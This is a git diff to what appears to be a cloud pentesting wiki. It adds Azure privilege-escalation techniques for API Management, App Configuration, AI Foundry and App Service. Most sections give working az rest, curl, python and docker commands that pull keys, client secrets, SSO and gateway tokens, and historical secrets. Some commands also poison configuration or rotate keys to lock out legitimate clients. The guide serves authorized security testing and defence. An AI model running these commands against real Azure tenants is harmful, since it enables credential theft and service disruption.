diff --git a/src/SUMMARY.md b/src/SUMMARY.md index ac428f246e..996576900c 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -557,22 +557,41 @@ - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md) - [Az - AI Foundry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md) - [Az - API Management Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md) + - [Az - App Configuration Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-configuration-privesc.md) - [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md) + - [Az - ARM Deployment Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-arm-deployment-privesc.md) - [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md) - [Az - Batch Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md) + - [Az - Bot Service Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-bot-service-privesc.md) + - [Az - Communication Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-communication-services-privesc.md) - [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md) - [Az - Container Instances, Apps & Jobs Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md) - [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md) + - [Az - Data Factory Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md) - [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md) - [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md) - [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md) + - [Az - Event Hubs Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-event-hubs-privesc.md) + - [Az - Event Grid Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md) + - [Az - Fluid Relay Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-fluid-relay-privesc.md) - [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md) + - [Az - IoT Hub Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md) - [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md) + - [Az - Kubernetes Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md) + - [Az - Log Analytics Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-log-analytics-privesc.md) - [Az - Logic Apps Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md) + - [Az - Maps Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-maps-privesc.md) + - [Az - Azure Monitor Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-monitor-privesc.md) - [Az - MySQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md) + - [Az - Notification Hubs Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-notification-hubs-privesc.md) - [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md) + - [Az - Purview Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-purview-privesc.md) - [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md) + - [Az - Quantum Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-quantum-privesc.md) + - [Az - Azure Cache for Redis Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-redis-privesc.md) + - [Az - Azure Relay Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-relay-privesc.md) - [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md) + - [Az - SignalR and Web PubSub Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md) - [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md) - [Az - Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md) - [Az - SQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md index 02e27aa889..65e97c7d56 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md @@ -374,9 +374,41 @@ az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.MachineLearningServices/workspaces//connections//listSecrets?api-version=2025-12-01" ``` +In live validation, a workspace connection returned a Cognitive Services key that successfully called the connected Language endpoint. A datastore using an account key returned that key, which downloaded the exact seeded blob. If connection or datastore listing is denied, names recovered from job YAML, pipeline definitions, notebooks, source repositories, deployment outputs, or error messages can be used directly with the object-specific `listsecrets` endpoint. + +## `Microsoft.MachineLearningServices/workspaces/listKeys/action` and `Microsoft.MachineLearningServices/workspaces/listStorageAccountKeys/action` + +Both workspace-level operations exposed the key of the workspace's linked Storage account in a live test, and that key downloaded an otherwise protected canary blob. `listKeys` can additionally return linked Application Insights and Container Registry credentials when those resources are present, while `listStorageAccountKeys` is the narrower storage path.[[28]](#references)[[29]](#references) + +```bash +az rest --method POST \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.MachineLearningServices/workspaces//listKeys?api-version=2025-06-01" + +az rest --method POST \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.MachineLearningServices/workspaces//listStorageAccountKeys?api-version=2025-06-01" +``` + +The workspace name is often available without workspace-list permission in ML job configuration, endpoint URLs, Azure resource IDs embedded in notebooks, CI variables, or IaC. The returned Storage key is account-wide, so use the storage account endpoint from the workspace resource or known configuration and avoid printing it. + +## `Microsoft.CognitiveServices/accounts/connections/listsecrets/action` and `Microsoft.CognitiveServices/accounts/projects/connections/listsecrets/action` + +Foundry accounts and their projects can store reusable credentials in connection resources. Both scopes were validated separately: each returned an 84-character key stored in an `AIServices` connection, and each recovered key successfully called the connected Language service and returned the expected language result.[[13]](#references)[[30]](#references) + +```bash +# Account-scoped connection +az rest --method POST \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.CognitiveServices/accounts//connections//listsecrets?api-version=2025-06-01" + +# Project-scoped connection +az rest --method POST \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.CognitiveServices/accounts//projects//connections//listsecrets?api-version=2025-06-01" +``` + +The returned shape depends on the connection authentication type and may contain API keys, account keys, SAS tokens, service-principal secrets, passwords, or personal access tokens. If connection enumeration is denied, try exact names found in prompt-flow YAML, project source, deployment templates, SDK configuration, or failed-run logs. A successful response should be handled as credential material, not displayed in a general inventory. + ## `Microsoft.CognitiveServices/accounts/listKeys/action` | `Microsoft.CognitiveServices/accounts/regenerateKey/action` -Having either of these permissions against an Azure OpenAI resource exposes an immediate credential or availability-impact path: `listKeys/action` returns account keys, while `regenerateKey/action` rotates one.[[13]](#references)[[14]](#references)[[15]](#references) To find candidate resources: +Having either permission against an Azure AI Services/Cognitive Services account exposes an immediate credential path: `listKeys/action` returns account keys, while `regenerateKey/action` rotates one and returns the replacement key set.[[13]](#references)[[14]](#references)[[15]](#references) The replacement key from the exact regeneration action was validated against a Free Language account and successfully completed a sentiment-analysis request (HTTP 200). To find candidate resources, including Azure OpenAI accounts: ```bash az resource list --resource-type Microsoft.CognitiveServices/accounts \ @@ -385,8 +417,8 @@ az cognitiveservices account list --resource-group \ --query "[?kind=='OpenAI'].{name:name, location:location}" -o table ``` -1. Extract the current API keys and invoke the OpenAI REST API against deployments to which the account is configured to provide access; usage and model availability still depend on the account and deployment configuration.[[13]](#references)[[14]](#references)[[17]](#references)[[18]](#references) -2. Rotate/regenerate keys to deny service to defenders or to ensure only the attacker knows the new key.[[15]](#references)[[16]](#references) +1. Extract the current API keys and invoke the account's data-plane APIs. For Azure OpenAI, usage and model availability still depend on the account and deployment configuration.[[13]](#references)[[14]](#references)[[17]](#references)[[18]](#references) +2. Rotate/regenerate a key to obtain a fresh credential and invalidate clients using the old value.[[15]](#references)[[16]](#references) ```bash az cognitiveservices account keys list --name --resource-group @@ -703,5 +735,8 @@ If a pipeline resolves `faq-clean@1` to the same mutable blob URI, it may ingest - [25] [Create and manage data assets - Azure Machine Learning](https://learn.microsoft.com/en-us/azure/machine-learning/how-to-create-data-assets?view=azureml-api-2) - [26] [Put Blob (REST API) - Azure Storage](https://learn.microsoft.com/en-us/rest/api/storageservices/put-blob) - [27] [Quickstart: Create, download, and list blobs with Azure CLI](https://learn.microsoft.com/en-us/azure/storage/blobs/storage-quickstart-blobs-cli) +- [28] [Workspaces - List Keys - REST API (Azure Machine Learning)](https://learn.microsoft.com/en-us/rest/api/azureml/workspaces/list-keys?view=rest-azureml-2025-12-01) +- [29] [Workspaces - List Storage Account Keys - REST API (Azure Machine Learning)](https://learn.microsoft.com/en-us/rest/api/azureml/workspaces/list-storage-account-keys?view=rest-azureml-2025-06-01) +- [30] [Microsoft.CognitiveServices accounts/connections ARM reference](https://learn.microsoft.com/en-us/azure/templates/microsoft.cognitiveservices/accounts/connections) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md index ae2b34b144..b23a78f3dc 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md @@ -4,6 +4,17 @@ The permission strings below are Azure RBAC operations for the `Microsoft.ApiManagement` resource provider. Their documented effects are used to distinguish read, secret-retrieval, write, and network-configuration capabilities.[[1]](#references) +## `Microsoft.ApiManagement/service/users/token/action` + +On tiers with developer users, this operation generates an SSO URL containing a token that signs in as the selected developer-portal user: + +```bash +az rest --method POST \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//users//generateSsoUrl?api-version=2022-08-01" +``` + +The portal session inherits that user's API subscriptions and visibility; it is not an Azure control-plane token. The operation is unavailable on the Consumption tier. See [User - Generate SSO URL](https://learn.microsoft.com/en-us/rest/api/apimanagement/user/generate-sso-url?view=rest-apimanagement-2024-05-01). + ## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action` The `read` operation enumerates or reads Named Value metadata, while `listValue/action` is the operation Microsoft documents for getting a Named Value's secret. The Azure CLI exposes the latter as `az apim nv show-secret`; Named Values can also be backed by Azure Key Vault, so this check includes both locally stored and Key Vault-referenced values. For a Key Vault-backed value, API Management uses a system-assigned or user-assigned managed identity with permission to retrieve the Key Vault secret.[[1]](#references)[[2]](#references)[[3]](#references)[[4]](#references) @@ -12,6 +23,8 @@ The `read` operation enumerates or reads Named Value metadata, while `listValue/ az apim nv show-secret --resource-group --service-name --named-value-id ``` +This was validated against a secret Named Value: `listValue/action` returned the exact seeded value. If Named Value listing is denied, identifiers from policies (`{{named-value-id}}`), exported templates, source control, or deployment logs can be passed directly to `show-secret`. Do not print values during broad enumeration. + ## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action` The `read` operation lists subscriptions without their keys, while `listSecrets/action` gets the keys for a selected subscription. The management REST operation is a `POST` to `listSecrets`, and its response contains `primaryKey` and `secondaryKey`.[[1]](#references)[[5]](#references) @@ -30,6 +43,154 @@ curl -H "Ocp-Apim-Subscription-Key: " \ The effective access is limited by that scope; if the subscription reaches sensitive products or APIs, the key may expose confidential data or permit operations those APIs authorize.[[6]](#references) +In a live Consumption-tier test, the unauthenticated API request returned 401 while the recovered subscription key returned 200 through the gateway. Key propagation can take a short time after subscription creation. If subscription listing is denied, a subscription SID from IaC, support tickets, gateway logs, or application configuration is enough to try the exact `listSecrets` endpoint. + +## `Microsoft.ApiManagement/service/apiKeys/listSecrets/action` + +The AI Gateway tier has its own runtime API-key resources. A normal GET of an `apiKeys` child returns metadata only; this action returns its primary and secondary key values.[[1]](#references)[[33]](#references)[[34]](#references) + +```bash +gateway_id="/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/" + +api_key=$(az rest --method POST \ + --uri "https://management.azure.com${gateway_id}/apiKeys//listSecrets?api-version=2025-09-01-preview" \ + --body '{}' \ + --query primaryKey -o tsv) + +curl -H "Api-Key: $api_key" \ + "https://.azure-api.net/default/toolservers//mcp" +``` + +In a live `AIGateway`-SKU test, the same MCP initialization request returned `401` without a key and `200` with the value recovered by `listSecrets`. The key authorizes the gateway runtime routes exposed to it, which can include model endpoints and Tool Servers backed by privileged external credentials. Its reach is gateway-configuration dependent, so AzurePEASS marks the permission High rather than universally Critical. + +The key name `default` is used by Microsoft's current hosted-agent sample. If `apiKeys/read` is denied, also recover names from Bicep/Terraform, application environment variables, Foundry connections, deployment output, or CI configuration and call the child endpoint directly. The sibling `regeneratePrimaryKey/action` and `regenerateSecondaryKey/action` operations were also tested: they invalidated the selected value but returned no replacement credential, so they are not treated as equivalent credential-retrieval techniques. + +## `Microsoft.ApiManagement/service/workspaces/toolServers/listSecrets/action` + +AI Gateway Tool Servers can store literal endpoint header values, OAuth client secrets, and inline OpenAPI content. Their normal resource GET preserves the credential shape but redacts the values. This action returns the secret subtree for every endpoint:[[1]](#references)[[33]](#references)[[35]](#references) + +```bash +az rest --method POST \ + --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//workspaces//toolServers//listSecrets?api-version=2025-09-01-preview" \ + --body '{}' +``` + +In live validation, a normal GET omitted a planted `Authorization` header while `listSecrets` returned its exact value. A recovered header can be replayed directly against the Tool Server endpoint's configured MCP or OpenAPI URL; an OAuth `clientSecret` can instead be used with that endpoint's client and token configuration. Because these credentials may reach source control, SaaS APIs, internal MCP tools, or other sensitive backends, this is High-impact credential access. + +The currently validated resource path includes `/workspaces/default/`. Azure rejected the superficially similar service-root `/toolServers/` route, so do not substitute the untested `Microsoft.ApiManagement/service/toolServers/listSecrets/action` permission. When Tool Server listing is denied, names and endpoint namespaces commonly remain in agent configuration, Foundry Toolbox connections, IaC, gateway URLs, deployment logs, or application settings. + +## `Microsoft.ApiManagement/service/backends/read` + +Do not assume this is harmless metadata read. A backend GET can return literal credentials stored in `properties.credentials`, including custom header values. In live validation, the response exposed a Function App master key stored as `x-functions-key`; using that recovered value invoked the protected function and returned the exact canary.[[15]](#references)[[16]](#references)[[20]](#references) + +```bash +az rest --method GET \ + --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" +``` + +Look for literal values in `properties.credentials.header`, `query`, and authorization fields. A `{{named-value-id}}` reference is not the resolved secret; use the Named Value technique above if separately authorized. When backend listing is denied, backend IDs are commonly exposed by `set-backend-service` policies, exported templates, API definitions, or source control. + +## `Microsoft.ApiManagement/service/authorizationServers/listSecrets/action` + +This action returns stored OAuth authorization-server secrets. A live test recovered the exact configured client secret, but only after the authorization server's `useInTestConsole` property was enabled; Azure rejected the action while it was disabled. A recovered client secret can be used at the configured token endpoint subject to that OAuth server's grant, client, scope, and network rules.[[1]](#references)[[21]](#references) + +```bash +az rest --method POST \ + --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//authorizationServers//listSecrets?api-version=2024-05-01" +``` + +## `Microsoft.ApiManagement/service/openidConnectProviders/listSecrets/action` + +The OpenID Connect equivalent returned the exact configured client secret in the same live test and likewise required `useInTestConsole=true`. Reuse depends on the provider's client registration and token endpoint; the disclosure itself gives the caller the credential APIM stores for that client.[[1]](#references)[[22]](#references) + +```bash +az rest --method POST \ + --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//openidConnectProviders//listSecrets?api-version=2024-05-01" +``` + +Authorization-server and provider IDs can still be tried directly when list/read is denied if they are present in policies, developer-portal configuration, exported templates, client source, or standard naming conventions. + +## `Microsoft.ApiManagement/service/identityProviders/listSecrets/action` + +This action returns the client secret stored for an APIM identity provider. The exact path is useful when collection reads are denied and the provider identifier is known from IaC, portal configuration, or source control. In a live Developer-tier test, the `aad` provider returned the exact Microsoft Entra application secret; that recovered secret then completed a client-credentials token request with HTTP 200. The practical access is determined by the application registration's assigned API permissions and roles.[[26]](#references)[[27]](#references) + +```bash +az rest --method POST \ + --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//identityProviders//listSecrets?api-version=2024-05-01" +``` + +`aad` is the identifier used for the Microsoft Entra provider in the validated case. Do not assume every APIM tier supports every provider: the same configuration was rejected on Consumption, while Developer accepted it. + +## `Microsoft.ApiManagement/service/tenant/listSecrets/action` + +When direct management API access is enabled for an APIM service, this action returns its primary and secondary tenant access keys and the signing principal. Those values can authenticate to the service-specific direct management endpoint, which exposes selected APIM entities such as APIs, users, groups, products, and subscriptions.[[28]](#references)[[29]](#references)[[30]](#references) + +```bash +tenant_access=$(az rest --method POST \ + --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//tenant/access/listSecrets?api-version=2024-05-01") + +principal_id=$(printf '%s' "$tenant_access" | jq -r .principalId) +primary_key=$(printf '%s' "$tenant_access" | jq -r .primaryKey) +expiry=$(python3 -c 'from datetime import datetime,timedelta,timezone; print((datetime.now(timezone.utc)+timedelta(hours=1)).strftime("%Y-%m-%dT%H:%M:%S.0000000Z"))') + +signature=$(PRINCIPAL_ID="$principal_id" EXPIRY="$expiry" PRIMARY_KEY="$primary_key" python3 -c ' +import base64, hashlib, hmac, os +message = (os.environ["PRINCIPAL_ID"] + "\n" + os.environ["EXPIRY"]).encode() +print(base64.b64encode(hmac.new(os.environ["PRIMARY_KEY"].encode(), message, hashlib.sha512).digest()).decode()) +') + +curl -H "Authorization: SharedAccessSignature uid=${principal_id}&ex=${expiry}&sn=${signature}" \ + "https://.management.azure-api.net/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis?api-version=2021-08-01" +``` + +Use the returned `principalId`—`integration` in the validated response—as `uid`; the response's ARM resource `id` (`/tenant/access`) is not the signing identity. The test above returned HTTP 200 in September 2026 even though Microsoft's direct-management documentation contains an older retirement notice. If tenant access is disabled, the keys do not make the endpoint usable. Consumption rejected tenant access in testing, while Developer supported it. + +## `Microsoft.ApiManagement/service/gateways/generateToken/action` + +This action returns a time-limited access token for a self-hosted gateway. That token authenticates the official gateway container to APIM's configuration endpoint and grants the configuration assigned to that gateway.[[31]](#references)[[32]](#references) + +```bash +expiry=$(python3 -c 'from datetime import datetime,timedelta,timezone; print((datetime.now(timezone.utc)+timedelta(days=1)).strftime("%Y-%m-%dT%H:%M:%SZ"))') + +token=$(az rest --method POST \ + --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//gateways//generateToken?api-version=2024-05-01" \ + --body "{\"keyType\":\"primary\",\"expiry\":\"$expiry\"}" \ + --query value -o tsv) + +docker run --rm -p 8080:8080 \ + -e "config.service.endpoint=https://.configuration.azure-api.net" \ + -e "config.service.auth=GatewayKey $token" \ + mcr.microsoft.com/azure-api-management/gateway: +``` + +In live validation, the official self-hosted gateway image authenticated with the returned token, completed its configuration sync, and downloaded the APIs, policies, subscriptions, and backend configuration assigned to the gateway. The seeded backend credential appeared exactly in that synchronized configuration. The impact is limited to the selected gateway's assignment, but that configuration can contain credentials and can allow an attacker-operated gateway to process traffic for its assigned APIs. The raw values returned by the separate `gateways/listKeys/action` were rejected when supplied directly to the container, so that permission is not treated as interchangeable with `generateToken/action` without an independently valid token-generation method. + +> [!NOTE] +> Provider-operation names alone are not proof of exploitability. On the tested Consumption service, tenant access, portal configuration/settings, identity-provider secrets, and preview client applications were rejected as unavailable for the tier; tenant access and the Entra identity provider were then validated on Developer. The advertised backend `listSecrets` route returned 404 on both tested tiers, whereas ordinary `backends/read` demonstrably exposed a literal credential. Rejected paths are not treated as validated attacks. + +## Policy read permissions + +The following reads can return the complete policy XML at service, API, operation, and product scope: + +- Microsoft.ApiManagement/service/policies/read +- Microsoft.ApiManagement/service/apis/policies/read +- Microsoft.ApiManagement/service/apis/operations/policies/read +- Microsoft.ApiManagement/service/products/policies/read + +Policies can contain literal subscription keys, Function keys, backend authorization headers, signed URLs, tokens, and other values inside expressions or policy statements. In live validation, each of the four exact GET endpoints returned a planted signed Logic Apps callback; decoding and invoking the value reached the protected canary. This makes the reads High when a target stores literal credentials, even though ordinary policy metadata sounds benign.[[7]](#references)[[23]](#references)[[24]](#references)[[25]](#references) + +~~~bash +# Replace with one of: +# policies/policy +# apis//policies/policy +# apis//operations//policies/policy +# products//policies/policy +az rest --method GET \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//?api-version=2024-05-01" +~~~ + +If collection reads are denied, derive IDs from API specifications, policy fragments, gateway URLs, developer-portal content, IaC, activity logs, deployment output, or source control and try the exact child endpoint. Named Value references are not resolved by these reads; use listValue only when separately authorized. + ## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write` API policy read operations return the policy configuration, and the corresponding write operations create or update it. The API-level GET endpoint accepts `format=rawxml`, which is useful when reviewing the XML before changing it; a custom role may need the matching read permission in addition to the write permission.[[1]](#references)[[7]](#references) @@ -233,5 +394,21 @@ Requests that use this backend receive the configured header, so an attacker-con - [17] [Backend - Create Or Update - REST API (Azure API Management)](https://learn.microsoft.com/en-us/rest/api/apimanagement/backend/create-or-update?view=rest-apimanagement-2024-05-01) - [18] [Azure API Management Backends](https://learn.microsoft.com/en-us/azure/api-management/backends) - [19] [Authenticate and authorize access to LLM APIs by using Azure API Management](https://learn.microsoft.com/en-us/azure/api-management/api-management-authenticate-authorize-ai-apis) +- [20] [Work with access keys in Azure Functions](https://learn.microsoft.com/en-us/azure/azure-functions/function-keys-how-to) +- [21] [Authorization Server - List Secrets - REST API](https://learn.microsoft.com/en-us/rest/api/apimanagement/authorization-server/list-secrets?view=rest-apimanagement-2024-05-01) +- [22] [OpenID Connect Provider - List Secrets - REST API](https://learn.microsoft.com/en-us/rest/api/apimanagement/openid-connect-provider/list-secrets?view=rest-apimanagement-2024-05-01) +- [23] [Policy - Get](https://learn.microsoft.com/en-us/rest/api/apimanagement/policy/get?view=rest-apimanagement-2024-05-01) +- [24] [API Operation Policy - Get](https://learn.microsoft.com/en-us/rest/api/apimanagement/api-operation-policy/get?view=rest-apimanagement-2024-05-01) +- [25] [Product Policy - Get](https://learn.microsoft.com/en-us/rest/api/apimanagement/product-policy/get?view=rest-apimanagement-2024-05-01) +- [26] [Identity Provider - List Secrets - REST API](https://learn.microsoft.com/en-us/rest/api/apimanagement/identity-provider/list-secrets?view=rest-apimanagement-2024-05-01) +- [27] [Identity Provider - Create Or Update - REST API](https://learn.microsoft.com/en-us/rest/api/apimanagement/identity-provider/create-or-update?view=rest-apimanagement-2024-05-01) +- [28] [Tenant Access - List Secrets - REST API](https://learn.microsoft.com/en-us/rest/api/apimanagement/tenant-access/list-secrets?view=rest-apimanagement-2024-05-01) +- [29] [Azure API Management REST API authentication](https://learn.microsoft.com/en-us/rest/api/apimanagement/apimanagementrest/azure-api-management-rest-api-authentication) +- [30] [Azure API Management direct management REST API](https://learn.microsoft.com/en-us/rest/api/apimanagement/apimanagementrest/api-management-rest) +- [31] [Gateway - Generate Token - REST API](https://learn.microsoft.com/en-us/rest/api/apimanagement/gateway/generate-token?view=rest-apimanagement-2024-05-01) +- [32] [Deploy a self-hosted gateway to Docker](https://learn.microsoft.com/en-us/azure/api-management/how-to-deploy-self-hosted-gateway-docker) +- [33] [AI Gateway sample architecture and runtime key handling](https://github.com/Azure-Samples/simple-foundry-hosted-agent-python-aigateway/blob/main/IMPLEMENTATION_NOTES.md) +- [34] [AI Gateway API-key Bicep resource](https://github.com/Azure-Samples/simple-foundry-hosted-agent-python-aigateway/blob/main/infra/ai-gateway/main.bicep) +- [35] [AI Gateway Tool Server and key configuration script](https://github.com/Azure-Samples/simple-foundry-hosted-agent-python-aigateway/blob/main/infra/scripts/configure-ai-gateway.sh) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-configuration-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-configuration-privesc.md new file mode 100644 index 0000000000..748eefa4ca --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-configuration-privesc.md @@ -0,0 +1,68 @@ +# Az - App Configuration Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## `Microsoft.AppConfiguration/configurationStores/ListKeys/action` + +This operation returns two read-write and two read-only access keys, including ready-to-use connection strings. A read-write key bypasses Entra data-plane authorization and can read or poison configuration values, feature flags, endpoints, and other application behavior stored in the configuration store. + +```bash +# This response contains credentials; do not save it in normal assessment logs. +az appconfig credential list \ + --resource-group \ + --name + +# Prove access with one returned connection string. +az appconfig kv list --connection-string '' +az appconfig kv set \ + --connection-string '' \ + --key \ + --value \ + --yes +``` + +A Key Vault reference stored in App Configuration reveals the reference URI, not the referenced Key Vault secret, unless the attacker separately controls an identity that can resolve it. See [Configuration Stores - List Keys](https://learn.microsoft.com/en-us/rest/api/appconfiguration/configuration-stores/list-keys?view=rest-appconfiguration-2024-06-01). + +## Microsoft.AppConfiguration/configurationStores/ListKeyValue/action + +This control-plane action returns one requested key and its cleartext value. Configuration values commonly contain application tokens, internal endpoints, connection material, or feature controls. + +~~~bash +az rest --method POST \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.AppConfiguration/configurationStores//listKeyValue?api-version=2020-06-01" \ + --body '{"key":"","label":""}' +~~~ + +The action was live-tested on a Free store and returned the exact seeded sensitive canary. If enumeration is denied, candidate keys can come from application code, environment-variable names, IaC, deployment output, error messages, documentation, or conventional names. See [Configuration Stores - List Key Value](https://learn.microsoft.com/en-us/rest/api/appconfiguration/configuration-stores/list-key-value?view=rest-appconfiguration-2020-06-01). + +## Microsoft.AppConfiguration/configurationStores/keyValues/read + +The newer ARM child-resource GET also returns the value. The resource name combines key and optional label; callers that know an exact key can try it without first listing the store's data. + +~~~bash +az rest --method GET \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.AppConfiguration/configurationStores//keyValues/?api-version=2024-06-01" +~~~ + +Live validation recovered the same cleartext canary through this exact permission. See [Key Values - Get](https://learn.microsoft.com/en-us/rest/api/appconfiguration/key-values/get?view=rest-appconfiguration-2024-06-01). + +Both operations are High because they directly expose stored application data, but neither alone grants full store takeover. Key Vault references still return references rather than Key Vault secret contents. + +## `Microsoft.AppConfiguration/configurationStores/RegenerateKey/action` + +This action rotates a selected access key and returns the replacement value and connection string. A renewed read-write key can immediately read and alter application configuration; rotation can also interrupt legitimate clients that still use the previous key. The replacement connection string was validated against a seeded Free-tier store and read the exact protected canary after normal key-propagation delay. + +```bash +store_id="/subscriptions//resourceGroups//providers/Microsoft.AppConfiguration/configurationStores/" + +az rest --method POST \ + --url "https://management.azure.com${store_id}/regenerateKey?api-version=2024-06-01" \ + --body '{"id":""}' + +# Use the connectionString from the response after a short propagation delay. +az appconfig kv list --connection-string '' +``` + +The key ID can be recovered from prior output, deployment state, or application inventory when `ListKeys` is unavailable. See [Configuration Stores - Regenerate Key](https://learn.microsoft.com/en-us/rest/api/appconfiguration/configuration-stores/regenerate-key?view=rest-appconfiguration-2024-06-01). + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md index d58b6ac19b..611e0b6324 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md @@ -201,6 +201,31 @@ az webapp config connection-string list --name --resource-group --resource-group ``` +### `Microsoft.Web/sites/config/snapshots/listsecrets/action`, `Microsoft.Web/sites/slots/config/snapshots/listsecrets/action` + +App Service keeps configuration snapshots as settings change. The ordinary snapshot GET deliberately omits sensitive `appSettings` and `connectionStrings`; the dedicated `listSecrets` action returns their historical values.[[1]](#references)[[28]](#references)[[29]](#references) + +```bash +base="https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites/" + +# Snapshot identifiers and timestamps. This collection read is useful but is +# not required when an exact snapshot ID is already known. +az rest --method GET \ + --url "${base}/config/web/snapshots?api-version=2026-03-15" + +# Production app historical secrets. +az rest --method POST \ + --url "${base}/config/web/snapshots//listSecrets?api-version=2026-07-15" + +# Deployment-slot historical secrets. +az rest --method POST \ + --url "${base}/slots//config/web/snapshots//listSecrets?api-version=2026-07-15" +``` + +Both permission variants were live-tested independently. For a production app and an S1 deployment slot, the normal snapshot GET returned no planted setting while the corresponding `listSecrets` request returned the exact historical canary. Old settings can contain database connection strings, API tokens, storage credentials, or secrets that were removed from the current configuration. Reuse depends on whether a recovered credential is still valid, so these permissions are High rather than automatically Critical. + +If snapshot collection reads are denied, try an exact app, slot, and snapshot ID recovered from a 